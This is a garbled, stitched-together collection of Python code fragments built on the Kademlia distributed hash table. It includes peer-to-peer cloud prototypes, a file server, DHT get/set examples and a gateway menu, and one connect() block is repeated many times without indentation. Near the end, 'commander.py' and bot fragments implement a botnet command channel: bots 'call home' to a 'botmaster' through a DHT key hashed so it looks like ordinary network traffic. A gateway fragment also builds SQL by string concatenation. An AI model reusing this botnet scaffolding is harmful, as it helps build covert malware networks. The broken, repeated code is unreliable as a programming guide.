else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
def bootStrapDone(self, server):
print self
print server
contacts = self.inetVisibleIP()
print contacts
def connect(self, port):
if(self._app_deployer):
from twisted.application import service, internet
from twisted.python.log import ILogObserver
from twisted.internet import reactor, task
import sys, os
sys.path.append(os.path.dirname(__file__))
from kademlia.network import Server
from kademlia import log
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("127.0.0.1", port)])
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
else:
self._node.listen(port)
self._node.bootstrap([("127.0.0.1",port)]).addCallback(self.bootStrapDone)
tornado.platform.twisted.install()
import tornado.ioloop
import tornado.web
import hashlib
from os.path import join, getsize, exists
import mutagen
import pickle
import time
from twisted.internet import reactor
from kademlia.network import Server
if os.path.isfile('self.cache.pickle'):
kserver = Server.loadState('self.cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("185.97.32.250", 8468)])
kserver.saveStateRegularly('self.cache.pickle', 10)
kserver.listen(8468)
class FileServer(tornado.web.RequestHandler):
def initialize(self, cache):
self.cache=cache
def get(self, arg):
filename = self.cache[arg]
with open(filename,"rb") as fp:
self.set_header("Content-Type", "audio/mpeg")
self.set_header('content-length',os.stat(fp.fileno()).st_size)
# self.set_header('Content-Disposition',' inline; filename="{}"'.format(os.path.basename(fp.name)))
self.write(fp.read())
self.finish()
import logging
import asyncio
import sys
from kademlia.network import Server
if len(sys.argv) != 5:
print("Usage: python set.py <bootstrap node> <bootstrap port> <key> <value>")
sys.exit(1)
handler = logging.StreamHandler()
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server()
loop.run_until_complete(server.listen(8469))
bootstrap_node = (sys.argv[1], int(sys.argv[2]))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
loop.run_until_complete(server.set(sys.argv[3], sys.argv[4]))
server.stop()
loop.close()
class Application (object):
"""
This object represent an application in the Cloud, and as indicated in the paper
relating to the P2P cloud architecture proposal, these can be seen as being slices
of cloud.
The concept of application within this project reflect that of a container and/or a seperation
layer from the overlay network.
Consisting of process pool (Web/Worker/Data), and corresponding queues.
cherry_py_instance: is the Instanciated object that contains the logic for the web_server
"""
def bootStrapDone(self, server):
print self
print server
contacts = self.inetVisibleIP()
print contacts
def __init__(self, name="app_default",port=4020):
self._name = name
self.number_of_nodes = 0
self.list_of_nodes = []
self._queues = [DeferredQueue()] * 3
# web process pointer
self._web = ""
# here is the logic to join the DHT, currently using an implementation of Kademlia
from entangled.kademlia import node
knownNodes = [("127.0.0.1", 4021)]
self._ip_address = "127.0.0.1"
#self._node = node.Node(4020)
#self._node.joinNetwork(knownNodes)
from kademlia.network import Server
self._serverNode = Server()
# listen on port 5556
self._serverNode.listen(5556)
# bootstrap with known nodes
self._serverNode.bootstrap([("127.0.0.1",5557)]).addCallback(self.bootStrapDone)
def __str__(self):
return "Application: [name] = " + self._name + " [number_of_nodes] = " + str(self.number_of_nodes)
#" [list_of_nodes] = " + str(self.list_of_nodes)
def print_contacts(self):
print "app_node --> printcontacts"
self._node.printContacts()
def addNode (self, node):
self.list_of_nodes.append(node)
self.number_of_nodes += 1
# next we need to make it a process...
def addTask (self, task):
# simply add the task to the corresponding queue
self._queues[task.type].put(task)
def getTask (self, task_type):
# simply return the top elt of the queue
# and add a callback to fire it's deferred
return self._queues[task_type].get().addCallback(task_func)
def launchApplication(self):
print "--> Launch Application : ", self._name
result = self._node.iterativeStore(self._name, self._ip_address)
print "called iterative store"
return result
def retrieveKnownNodes(self, results):
d = Deferred()
d.addCallback(self._node.knownNodes)
d.callback(results)
print results
print d
return d
@inlineCallbacks
def analyzeResources(self):
#retrieve list of known nodes from DHT (overlay network)
nodes = yield self._node.knownNodes()
print "analyzeResources() ..."
print "Nodes: ", nodes
#print self
import resAdvProtocol
results = resAdvProtocol.seek_resources(nodes)
print "inside:", results
defer.returnValue(results)
#return candidates
@inlineCallbacks
def run(self):
# attempt to read from the web queue
print "using the run method"
task_type = 0
# temp variable to hold a snapshot of the number of nodes in the app.
temp_nodes = self.number_of_nodes
# ctr
ctr = 0
#thread = task.deferLater(reactor,6, self.launchApplication)
# then publish the name of the application that you've deployed
#thread.addCallback(self.launchApplication)
# Analyze available resources...
# first extract the list of known nodes, to subscribe to their resource
# specification adverstizement
# call the resAdvProtocol and print available resources and stats
#candidates = seek_resources(known_nodes)
from twisted.internet.protocol import Protocol, Factory
from twisted.internet import reactor
from twisted.internet.defer import Deferred
#import cloudProtocol
from twisted.internet import reactor, task
result = []
#thread = task.deferLater(reactor,1, self.analyzeResources, result)
results = yield self.analyzeResources()
# d = Deferred()
# factory = cloudProtocol.CloudClientFactory(d)
# factory.protocol = cloudProtocol.CloudComms
# factory.clients = []
#reactor.listenTCP(64000, factory)
#print "Cloud Comms server started"
#factory.protocol.message(factory.protocol,"Server's MEssage!")
#reactor.run()
# simply loop forever over each queues
#while(True):
"""
class NetworkInterface (object):
# Create a NetworkInterface object to accomplish all network related tasks
def __init__(self, appDeployer, uuid):
self._connected = False
self._app_deployer = appDeployer
# optional...
self._number_of_nodes = 0
self._list_of_nodes =[]
# logging capabilities
self._log = Logger(system=self)
# HERE--> Implementation specific node instanciation
from kademlia.network import Server
self._node = Server()
self._node.log.level = 4
# END OF SECTION
def bootStrapDone(self, server):
#contacts = self._node.inetVisibleIP()
print "BOOOOTTTT STAPPP IT"
def retrieveContacts(self):
"""
NEED TO FIND A WAY TO RETRIEVE THE LIST OF NEIGHBORS !!!
"""
# !!! DOES EXACTLY THE SAME AS bootstrappableNeighbors !!!
for bucket in self._node.protocol.router.buckets:
print bucket.getNodes()
# !!! bootstrappableNeighbors returns only the list of neighbors that you provided as !!!
# !!! a bootstrap list, that are also online !!!
neighbors = self._node.bootstrappableNeighbors()
print neighbors
return neighbors
def connect(self,fromPort,toPort,ip='127.0.0.1'):
self._log.debug('Connecting...')
#print "in connect ... "
#print "now listening on port: ",fromPort
self._node.listen(fromPort)
return self._node.bootstrap([(ip,toPort)]).addCallback(self.bootStrapDone)
# This function is used to set a value in the DHT
def setDone(self,result):
print result
print "set is done"
deferred = Deferred()
return deferred
def set(self, key, value):
def _processKey(result, key, values):
print result, key, values
deferred = Deferred()
# upon recovering the value of the key
if result == None:
deferred = self._node.set(key, values)
return deferred
#.addCallback(self.setDone)
else:
for value in values:
if value not in result:
# append + publish
result.append(value)
else:
self._log.info("Value is already in the corresponding key.")
deferred = self._node.set(key, result)
return deferred
# Only application deployers are allowed to write to the DHT.
if self._app_deployer != False:
deferred = Deferred()
# Two possible keys are allowed to be written to, the template key and their respective application key
if ('template' == key or self._uuid == key) and key != None:
# HERE --> Implementation Specific Code
print " ::: ", self, " ::: ", key, " ::: ", value, " <----------------------------"
# if writing to the template, retrieve the value first then append to it if necessary
if key == 'template':
deferred = self._node.get(key)
deferred.addCallback(_processKey, key, value)
return deferred
#self._node.set(key, value).addCallback(self.setDone)
# END OF SECTION
# Not Allowed to write to the DHT.
else:
self._log.info("Only application deployers are allowed to write values into the DHT!")
def done(self,result):
print "self: ", self
print "Key result:", result
def get(self,result, key):
# HERE --> Implementation Specific Code
print result, " ::: ", self, " ::: ", key, " <----------------------------"
deferred = self._node.get(key)
deferred.addCallback(self.done)
return deferred
options["storesome"] = cfg.storesome
if "ttl" in cfg:
options["ttl"] = cfg.ttl
return options
#start mongodb -> sudo service mongod start
options = get_options()
application = service.Application("kademlia")
application.setComponent(ILogObserver, log.FileLogObserver(sys.stdout, log.INFO).emit)
if os.path.isfile('cache.pickle'):
kserver = Server.loadState('cache.pickle')
else:
kserver = Server()
kserver.bootstrap([("1.2.3.4", 8468)])
kserver.saveStateRegularly('cache.pickle', 10)
udpserver = internet.UDPServer(8468, kserver.protocol)
udpserver.setServiceParent(application)
db = MongoClient().message_database
messages = db.messages
if "ttl" in options:
messages.ensure_index("timestamp", expireAfterSeconds=options["ttl"])
else:
messages.ensure_index("timestamp", expireAfterSeconds=604800)
'''This function is used to go from UTC to unix time with two decimal precision.'''
def unix_time(utc):
epoch = datetime.datetime.utcfromtimestamp(0) - datetime.timedelta(0, 0, 10000)
hold_display = None
from storage import BlockStorage
def done(result):
print "Key result: ", result
print "Found: ", hold_display
reactor.stop()
def get_key(result, server):
global key, value
server.get(key).addCallback(done)
def set_key(found, server):
global key, value, hold_display
hold_display = found
server.set(key, value).addCallback(get_key, server)
server = Server(storage=BlockStorage())
server.listen(8467)
server.bootstrap([("127.0.0.1", 8468)]).addCallback(set_key, server)
reactor.run()
c = g.dbconnection.cursor()
c.execute("SELECT * FROM " + GATEWAY_ID + "log")
for row in c.fetchall():
print(row[0] + " " + row[1] + " " + row[2] + " " + row[3] + " " + row[4] + " " + datetime.datetime.fromtimestamp(float(row[5])).strftime('%Y-%m-%d %H:%M:%S'))
print("\n")
elif responseNumber == "27":
c = g.dbconnection.cursor()
c.execute("TRUNCATE TABLE " + GATEWAY_ID + "log")
print("log cleared!")
elif responseNumber == "28" :
print ("Bye!")
response = False
reactor.stop()
thread
if g.dbconnection:
g.dbconnection.close()
#Program initialization, starts two kademlia listeners and then the main program.
gateway = Gateway()
server = Server()
server.listen(BOOTSTRAP_PORT)
server.bootstrap([(BOOTSTRAP_IP, BOOTSTRAP_PORT)])
grouploop = LoopingCall(kademliaGroupInstructionListener, (server, gateway))
grouploop.start(1)
poploop = LoopingCall(kademliaPopInstructionListener, (server, gateway))
poploop.start(1)
thread.start_new_thread(main, ("server", gateway))
reactor.run()
def setDone(result, server):
server.get("110").addCallback(done)
def bootstrapDone(found, server):
print "*** Putting a value"
server.set("110", fileread()).addCallback(setDone, server)
#resourceDiscovery()
if os.path.isfile('cache.pickle'):
print "*** @ if block"
#kserver = Server()
kserver = Server.loadState('cache.pickle')
kserver.bootstrap([("10.0.0.1", 8468)]).addCallback(bootstrapDone, kserver)
else:
print "*** @ else block"
kserver = Server()
kserver.bootstrap([("10.0.0.1", 8468)]).addCallback(bootstrapDone, kserver)
kserver.saveStateRegularly('cache.pickle', 10)
server = internet.UDPServer(8468, kserver.protocol)
server.setServiceParent(application)
from twisted.internet import reactor
from twisted.python import log
from kademlia.network import Server
import sys
log.startLogging(sys.stdout)
def done(result):
print "Key result:", result
reactor.stop()
def setDone(result, server):
server.get("a key").addCallback(done)
def bootstrapDone(found, server):
server.set("a key", "a value").addCallback(setDone, server)
server = Server()
server.listen(8468)
server.bootstrap([("139.162.23.202", 8468)]).addCallback(bootstrapDone, server)
reactor.run()
import asyncio
import sys
from kademlia.network import Server
from kademlia.routing import RoutingTable
handler = logging.StreamHandler()
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server()
server.listen(8469)
bootstrap_node = ('127.0.0.1', 8468)
loop.run_until_complete(server.bootstrap([bootstrap_node]))
#loop.run_until_complete(server.set("key", "a"*1024*4))
print(server.bootstrappableNeighbors())
result = loop.run_until_complete(server.get('key'))
server.stop()
loop.close()
print("Get result:", result)
self.commands += 1
self.parsecommands(line) #pass line for instructions that have more than one argument
if len(sys.argv) != 4:
print "Usage: python commander.py <bootstrap ip> <bootstrap port> <commander port>"
exit(0)
boot_ip = str(sys.argv[1])
boot_port = int(sys.argv[2])
myport = int(sys.argv[3])
#Logging is useful for debugging but it interferes with our command interface so usually comment this line out
#log.startLogging(sys.stdout)
#Server is a high level implementation of the Kademlia protocol. It's powering the DHT
kserver = Server()
kserver.listen(myport) #UDP port we will be listening on
#need a bootstrap address to join the network. This could be any computer on the network.
kserver.bootstrap([(boot_ip,boot_port)])
#kserver.bootstrap([("192.168.56.101", 8468)])
key = hashlib.sha1()
#this is an arbitray key in DHT where a bot reports its existence. We have hashed it in sha1 so that it appears
#just like any other query on a kademlia network
key.update('specialstring')
keyhash = key.hexdigest()
#the commander takes in standard input passed into our custom Slave Driver protocol which has an underlying kademlia DHT
#This could easily be changed from std input to remote input by changing what twisted factory calls our protocol.
#we used stdin for proof of concept but the remote input would allow the botmaster to spin up a commander from any location at any time.
stdio.StandardIO(SlaveDriver(kserver,keyhash))
reactor.run()
#announce to master that we exist, then check for ack
server.set(key.hexdigest(),str(bot.id)).addCallback(check_ack,server,bot)
def setup(ip_list, server):
#check that it got a result back
#print str(server.node.long_id)
if not len(ip_list):
print "Could not determine my ip, retrying"
server.inetVisibleIP().addCallback(setup,server)
myip = most_common(ip_list)
idhash = get_hash(str(server.node.long_id))
bot = botnode(myip,port,str(server.node.long_id),idhash)
callhome(server,bot)
def bootstrapDone(found, server):
if len(found) == 0:
print "Could not connect to the bootstrap server."
reactor.stop()
exit(0)
server.inetVisibleIP().addCallback(setup,server)
server = Server()
server.listen(myport)
server.bootstrap([(bootstrap_ip, port)]).addCallback(bootstrapDone, server)
reactor.run()
#bootstrap is at 192.168.56.101:8468
from __future__ import print_function
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
from twisted.internet import reactor
from twisted.python import log
from kademlia.network import Server
log.startLogging(sys.stdout)
def done(result):
print("Key result:", result)
reactor.stop()
def setDone(result, server):
server.get("a key").addCallback(done)
def bootstrapDone(found, server):
server.set("a key", "a value").addCallback(setDone, server)
server = Server()
server.listen(8469)
bootstrap_nodes = [("127.0.0.1", 8468)] # twistd -noy examples/server.tac
server.bootstrap(bootstrap_nodes).addCallback(bootstrapDone, server)
reactor.run()
